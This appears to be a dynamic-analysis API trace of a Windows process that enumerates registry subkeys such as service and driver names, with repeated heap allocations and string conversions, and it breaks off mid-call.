[0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.867] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.867] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.867] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.867] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0245.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.868] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1970, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.868] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.868] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0245.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.869] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.869] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.869] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0245.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.870] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.870] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.870] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0245.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.870] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.871] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0245.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.872] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0245.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.873] RtlAllocateHeap (HeapHandle=0x2520000, 